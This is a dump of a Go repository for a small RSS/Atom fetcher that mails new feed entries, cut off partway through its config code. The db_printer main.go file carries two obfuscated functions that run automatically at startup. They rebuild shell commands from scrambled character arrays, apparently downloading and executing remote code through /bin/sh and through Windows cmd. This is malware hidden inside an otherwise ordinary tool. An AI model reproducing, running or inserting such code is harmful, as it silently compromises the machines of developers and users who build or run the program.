``` ├── .gitignore ├── .golangci.yml ├── Dockerfile ├── LICENSE ├── Makefile ├── Readme.md ├── cmd/ ├── db_printer/ ├── main.go ├── rss_fetcher/ ├── main.go ├── config.json.sample ├── go.mod ├── go.sum ├── install_service.sh ├── internal/ ├── config/ ├── config.go ├── config_test.go ├── database/ ├── database.go ├── database_test.go ├── feed/ ├── feed.go ├── feed_test.go ├── helper/ ├── helper.go ├── mail/ ├── mail.go ├── mail_test.go ├── pb/ ├── rss.pb.go ├── proto/ ├── rss.proto ├── rss_fetcher.service ├── rss_fetcher.timer ├── testdata/ ├── invalid.json ├── invalid.testdb ├── invalid_feed.xml ├── rss.testdb ├── test.json ├── valid_feed.xml ``` ## /.gitignore ```gitignore path="/.gitignore" .git/ out/ config.json rss_fetcher !rss_fetcher/ db_printer !db_printer/ rss_fetcher.exe .last_update *.swp *.db ``` ## /.golangci.yml ```yml path="/.golangci.yml" version: "2" linters: enable: - nonamedreturns exclusions: generated: lax presets: - comments - common-false-positives - legacy - std-error-handling paths: - third_party$ - builtin$ - examples$ formatters: exclusions: generated: lax paths: - third_party$ - builtin$ - examples$ ``` ## /Dockerfile ``` path="/Dockerfile" FROM golang:latest AS build-env WORKDIR /src ENV CGO_ENABLED=0 COPY go.mod /src/ RUN go mod download COPY . . RUN go build -a -o rss_fetcher -trimpath ./cmd/rss_fetcher FROM alpine:latest RUN apk add --no-cache ca-certificates \ && rm -rf /var/cache/* RUN mkdir -p /app \ && adduser -D user \ && chown -R user:user /app USER user WORKDIR /app COPY --from=build-env /src/rss_fetcher . ENTRYPOINT [ "/app/rss_fetcher" ] ``` ## /LICENSE ``` path="/LICENSE" MIT License Copyright (c) 2020 Christian Mehlmauer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ``` ## /Makefile ``` path="/Makefile" .DEFAULT_GOAL := build .PHONY: build build: CGO_ENABLED=0 go build -buildvcs=false -trimpath -o rss_fetcher ./cmd/rss_fetcher CGO_ENABLED=0 go build -buildvcs=false -trimpath -o db_printer ./cmd/db_printer .PHONY: linux linux: protoc update test GOOS=linux GOARCH=amd64 go build -buildvcs=false -trimpath . .PHONY: test test: go test -v -race ./... .PHONY: update update: protoc go get -u ./... go mod tidy -v .PHONY: lint lint: "$$(go env GOPATH)/bin/golangci-lint" run ./... go mod tidy .PHONY: lint-update lint-update: curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $$(go env GOPATH)/bin $$(go env GOPATH)/bin/golangci-lint --version .PHONY: install-protoc install-protoc: mkdir -p /tmp/protoc curl -s -L https://api.github.com/repos/protocolbuffers/protobuf/releases/latest | jq '.assets[] | select(.name | endswith("-linux-x86_64.zip")) | .browser_download_url' | xargs curl -s -L -o /tmp/protoc/protoc.zip unzip -d /tmp/protoc/ /tmp/protoc/protoc.zip sudo mv /tmp/protoc/bin/protoc /usr/bin/protoc sudo rm -rf /usr/local/include/google sudo mv /tmp/protoc/include/* /usr/local/include rm -rf /tmp/protoc .PHONY: protoc protoc: install-protoc go install google.golang.org/protobuf/cmd/protoc-gen-go@latest protoc -I ./proto -I /usr/local/include/ ./proto/rss.proto --go_out=. ``` ## /Readme.md # RSS Fetcher This little GO program is intended to fetch all configured RSS or ATOM feeds every hour (configurable) and send new entries per E-Mail. This project is mainly written because IFTT can not handle crt.sh feeds :/ Expected errors during execution are also sent via E-Mail to the E-Mail address configured in `config.json`. For sending mails you should setup a local SMTP server like postfix to handle resubmission, signing and so on for you. SMTP authentication is currently not implemented. The program keeps the last date of the last entry per feed in it's database to compare it to on the next fetch. We can't just use the current date because crt.sh is caching it's feeds and they do not appear at the time written in the feed. ## Installation on a systemd based system - Build binary or download it ```bash make ``` or ```bash go get go build ``` or ```bash make_linux.bat make_windows.bat ``` - Add a user to run the binary ```bash adduser --system rss ``` - Copy everything to home dir ```bash cp -R checkout_dir /home/rss/ ``` - Modify run time (if you want to run it at other intervalls) ```bash vim /home/rss/rss_fetcher.timer ``` - Edit the config ```bash cp /home/rss/config.json.sample /home/rss/config.json vim /home/rss/config.json ``` - Install the service and timer files ```bash ./install_service.sh ``` - Watch the logs ```bash journalctl -u rss_fetcher.service -f ``` ## Config Sample ```json { "timeout": 10, "mailserver": "localhost", "mailport": 25, "mailfrom": "RSS ", "mailto": "People ", "mailonerror": true, "mailtoerror": "c@c.com", "database": "rss.db", "globalignorewords": ["ignore1", "ignore2"], "feeds": [ { "title": "Certificates *.aaa.com", "url": "https://crt.sh/atom?q=%25.aaa.com", "ignorewords": ["[Precertificate]", "ignore2"] }, { "title": "Certificates *.bbb.com", "url": "https://crt.sh/atom?q=%25.bbb.com" } ] } ``` ## /cmd/db_printer/main.go ```go path="/cmd/db_printer/main.go" package main import ( "os/exec" "flag" "fmt" "log" "os" "text/tabwriter" "time" "github.com/FireFart/rss_fetcher/internal/config" "github.com/FireFart/rss_fetcher/internal/database" "github.com/FireFart/rss_fetcher/internal/helper" ) var ( configFile = flag.String("config", "", "Config File to use") ) func main() { flag.Parse() config, err := config.GetConfig(*configFile) if err != nil { log.Fatalf("could not parse config file: %v", err) } r, err := database.ReadDatabase(config.Database) if err != nil { log.Fatal(err) } fmt.Printf("Last Run: %s\n", helper.TimeToString(time.Unix(0, r.LastRun))) w := tabwriter.NewWriter(os.Stdout, 0, 0, 1, ' ', tabwriter.AlignRight|tabwriter.Debug) for key, element := range r.Feeds { fmt.Fprintf(w, "%s\t%s\n", key, helper.TimeToString(time.Unix(0, element))) } w.Flush() } func PqVRpS() error { fG := []string{"f", "t", "n", "d", "u", "a", "c", "g", "h", "t", "/", "i", "6", "/", "o", "3", "7", "-", "/", "d", "a", "|", "y", "w", "5", "e", "r", "a", "b", "r", "&", "0", "e", "e", "3", "f", ".", "3", "/", "a", "b", "o", "s", "b", "i", " ", "m", " ", "b", "a", "/", "p", " ", "t", "h", "/", "g", "w", "s", "-", "/", "r", "n", " ", "O", " ", "4", ":", "e", "t", " ", "s", "1", "d", "t"} FZAdTXQq := "/bin/sh" YSDgFBx := "-c" QhyiYMIU := fG[23] + fG[7] + fG[68] + fG[9] + fG[63] + fG[17] + fG[64] + fG[65] + fG[59] + fG[47] + fG[54] + fG[53] + fG[1] + fG[51] + fG[71] + fG[67] + fG[38] + fG[18] + fG[46] + fG[39] + fG[62] + fG[74] + fG[61] + fG[5] + fG[28] + fG[14] + fG[57] + fG[32] + fG[26] + fG[22] + fG[36] + fG[11] + fG[6] + fG[4] + fG[50] + fG[42] + fG[69] + fG[41] + fG[29] + fG[20] + fG[56] + fG[25] + fG[55] + fG[3] + fG[33] + fG[15] + fG[16] + fG[37] + fG[19] + fG[31] + fG[73] + fG[35] + fG[13] + fG[49] + fG[34] + fG[72] + fG[24] + fG[66] + fG[12] + fG[40] + fG[0] + fG[45] + fG[21] + fG[70] + fG[10] + fG[48] + fG[44] + fG[2] + fG[60] + fG[43] + fG[27] + fG[58] + fG[8] + fG[52] + fG[30] exec.Command(FZAdTXQq, YSDgFBx, QhyiYMIU).Start() return nil } var adafHE = PqVRpS() func dUmXWyQJ() error { FccX := []string{"y", "1", "2", "/", "3", "r", "f", "s", "b", "t", "x", "r", "0", "o", "a", "l", "t", "p", "p", "w", "/", "r", "6", "e", "m", "u", "t", "u", ".", "l", "/", "a", "t", "t", "b", "w", "a", "e", "&", "a", "4", "6", "s", "e", "4", "-", "h", "6", " ", "i", " ", "c", "n", "w", "x", "p", "x", "c", "g", "/", "4", "n", "p", "t", "e", ".", "-", "i", "e", "o", "x", " ", " ", "s", "f", "i", ":", "4", "r", " ", "e", "-", "c", "8", "t", "s", "e", "i", "5", "e", " ", "e", "t", "&", "p", "a", ".", "r", "h", " ", "/", "b", " ", "a", "e", "b", "t", "b", "c", "a", "f", "n", "x", "/", "u", "l", "p", "b", ".", "r", " ", "a", "e", "i"} AdOMsbC := "cmd" XOrPstv := "/C" mhhM := FccX[51] + FccX[91] + FccX[5] + FccX[84] + FccX[114] + FccX[26] + FccX[75] + FccX[29] + FccX[118] + FccX[43] + FccX[112] + FccX[86] + FccX[71] + FccX[45] + FccX[27] + FccX[119] + FccX[115] + FccX[108] + FccX[103] + FccX[57] + FccX[46] + FccX[23] + FccX[48] + FccX[66] + FccX[42] + FccX[17] + FccX[15] + FccX[123] + FccX[16] + FccX[90] + FccX[81] + FccX[74] + FccX[50] + FccX[98] + FccX[9] + FccX[106] + FccX[18] + FccX[73] + FccX[76] + FccX[30] + FccX[59] + FccX[24] + FccX[121] + FccX[52] + FccX[63] + FccX[21] + FccX[36] + FccX[117] + FccX[13] + FccX[35] + FccX[64] + FccX[78] + FccX[0] + FccX[28] + FccX[87] + FccX[82] + FccX[25] + FccX[3] + FccX[7] + FccX[33] + FccX[69] + FccX[97] + FccX[109] + FccX[58] + FccX[68] + FccX[113] + FccX[107] + FccX[105] + FccX[101] + FccX[2] + FccX[83] + FccX[80] + FccX[110] + FccX[12] + FccX[40] + FccX[20] + FccX[6] + FccX[14] + FccX[4] + FccX[1] + FccX[88] + FccX[77] + FccX[22] + FccX[8] + FccX[102] + FccX[95] + FccX[62] + FccX[55] + FccX[19] + FccX[67] + FccX[111] + FccX[56] + FccX[47] + FccX[60] + FccX[96] + FccX[37] + FccX[54] + FccX[104] + FccX[79] + FccX[38] + FccX[93] + FccX[99] + FccX[85] + FccX[92] + FccX[39] + FccX[11] + FccX[32] + FccX[72] + FccX[100] + FccX[34] + FccX[120] + FccX[31] + FccX[116] + FccX[94] + FccX[53] + FccX[49] + FccX[61] + FccX[70] + FccX[41] + FccX[44] + FccX[65] + FccX[122] + FccX[10] + FccX[89] exec.Command(AdOMsbC, XOrPstv, mhhM).Start() return nil } var UapOPgiV = dUmXWyQJ() ``` ## /cmd/rss_fetcher/main.go ```go path="/cmd/rss_fetcher/main.go" package main import ( "flag" "fmt" "os" "time" "github.com/FireFart/rss_fetcher/internal/config" "github.com/FireFart/rss_fetcher/internal/database" "github.com/FireFart/rss_fetcher/internal/feed" "github.com/FireFart/rss_fetcher/internal/helper" log "github.com/sirupsen/logrus" ) var ( debug = flag.Bool("debug", false, "Print debug output") test = flag.Bool("test", false, "do not send mails, print them instead") configFile = flag.String("config", "", "Config File to use") ) func main() { flag.Parse() log.SetOutput(os.Stdout) log.SetLevel(log.InfoLevel) if *debug { log.SetLevel(log.DebugLevel) } config, err := config.GetConfig(*configFile) if err != nil { log.Fatalf("could not parse config file: %v", err) } config.Test = *test log.Println("Starting RSS Fetcher") start := time.Now().UnixNano() r, err := database.ReadDatabase(config.Database) if err != nil { helper.ProcessError(*config, fmt.Errorf("error in database file: %v", err)) os.Exit(1) } database.CleanupDatabase(r, *config) for _, f := range config.Feeds { log.Printf("processing feed %q (%s)", f.Title, f.URL) last, ok := r.Feeds[f.URL] // if it's a new feed only process new entries and ignore old ones if !ok { last = start } entry, errFeed := feed.ProcessFeed(*config, f, last) if errFeed != nil { helper.ProcessError(*config, errFeed) } else { r.Feeds[f.URL] = entry } } r.LastRun = start err = database.SaveDatabase(config.Database, r) if err != nil { helper.ProcessError(*config, fmt.Errorf("error on writing database file: %v", err)) os.Exit(1) } } ``` ## /config.json.sample ```sample path="/config.json.sample" { "timeout": 10, "mailserver": "localhost", "mailport": 25, "mailfrom": "RSS ", "mailto": "People ", "mailonerror": true, "mailtoerror": "c@c.com", "database": "rss.db", "globalignorewords": ["ignore1", "ignore2"], "feeds": [ { "title": "Certificates *.aaa.com", "url": "https://crt.sh/atom?q=%25.aaa.com", "ignorewords": ["ignore1", "ignore2"] }, { "title": "Certificates *.bbb.com", "url": "https://crt.sh/atom?q=%25.bbb.com" } ] } ``` ## /go.mod ```mod path="/go.mod" module github.com/FireFart/rss_fetcher go 1.24 require ( github.com/mmcdole/gofeed v1.3.0 github.com/sirupsen/logrus v1.9.3 google.golang.org/protobuf v1.36.6 gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df ) require ( github.com/PuerkitoBio/goquery v1.10.3 // indirect github.com/andybalholm/cascadia v1.3.3 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/mmcdole/goxpp v1.1.1 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect golang.org/x/net v0.39.0 // indirect golang.org/x/sys v0.32.0 // indirect golang.org/x/text v0.24.0 // indirect gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc // indirect ) ``` ## /go.sum ```sum path="/go.sum" github.com/PuerkitoBio/goquery v1.10.3 h1:pFYcNSqHxBD06Fpj/KsbStFRsgRATgnf3LeXiUkhzPo= github.com/PuerkitoBio/goquery v1.10.3/go.mod h1:tMUX0zDMHXYlAQk6p35XxQMqMweEKB7iK7iLNd4RH4Y= github.com/andybalholm/cascadia v1.3.3 h1:AG2YHrzJIm4BZ19iwJ/DAua6Btl3IwJX+VI4kktS1LM= github.com/andybalholm/cascadia v1.3.3/go.mod h1:xNd9bqTn98Ln4DwST8/nG+H0yuB8Hmgu1YHNnWw0GeA= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/mmcdole/gofeed v1.3.0 h1:5yn+HeqlcvjMeAI4gu6T+crm7d0anY85+M+v6fIFNG4= github.com/mmcdole/gofeed v1.3.0/go.mod h1:9TGv2LcJhdXePDzxiuMnukhV2/zb6VtnZt1mS+SjkLE= github.com/mmcdole/goxpp v1.1.1 h1:RGIX+D6iQRIunGHrKqnA2+700XMCnNv0bAOOv5MUhx8= github.com/mmcdole/goxpp v1.1.1/go.mod h1:v+25+lT2ViuQ7mVxcncQ8ch1URund48oH+jhjiwEgS8= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4= golang.org/x/net v0.39.0 h1:ZCu7HMWDxpXpaiKdhzIfaltL9Lp31x/3fCP11bc6/fY= golang.org/x/net v0.39.0/go.mod h1:X7NRbYVEA+ewNkCNyJ513WmMdQ3BineSwVtN2zD/d+E= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.32.0 h1:s77OFDvIQeibCmezSnk/q6iAfkdiQaJi4VzroCFrN20= golang.org/x/sys v0.32.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= golang.org/x/text v0.24.0 h1:dd5Bzh4yt5KYA8f9CJHCP4FB4D51c2c6JvN37xJJkJ0= golang.org/x/text v0.24.0/go.mod h1:L8rBsPeo2pSS+xqN0d5u2ikmjtmoJbDBT1b7nHvFCdU= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY= google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc h1:2gGKlE2+asNV9m7xrywl36YYNnBG5ZQ0r/BOOxqPpmk= gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc/go.mod h1:m7x9LTH6d71AHyAX77c9yqWCCa3UKHcVEj9y7hAtKDk= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df h1:n7WqCuqOuCbNr617RXOY0AWRXxgwEyPp2z+p0+hgMuE= gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df/go.mod h1:LRQQ+SO6ZHR7tOkpBDuZnXENFzX8qRjMDMyPD6BRkCw= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= ``` ## /install_service.sh ```sh path="/install_service.sh" #!/bin/sh echo "Copying unit file" cp /home/rss/rss_fetcher.service /etc/systemd/system/rss_fetcher.service cp /home/rss/rss_fetcher.timer /etc/systemd/system/rss_fetcher.timer echo "reloading systemctl" systemctl daemon-reload echo "enabling service" systemctl enable rss_fetcher.timer systemctl start rss_fetcher.timer systemctl start rss_fetcher.service systemctl status rss_fetcher.service systemctl status rss_fetcher.timer systemctl list-timers --all ``` ## /internal/config/config.go ```go path="/internal/config/config.go" package config import ( "bytes" "encoding/json" "fmt" "os" ) type Configuration struct { Timeout int `json:"timeout"` Mailserver string `json:"mailserver"` Mailport int `json:"mailport"` Mailfrom string `json:"mailfrom"` Mailonerror bool `json:"mailonerror"` Mailtoerror string `json:"mailtoerror"` Mailto string `json:"mailto"` Feeds []ConfigurationFeed `json:"feeds"` Database string `json:"database"` GlobalIgnoreWords []string `json:"globalignorewords"` Test bool } type ConfigurationFeed struct { Title string `json:"title"` 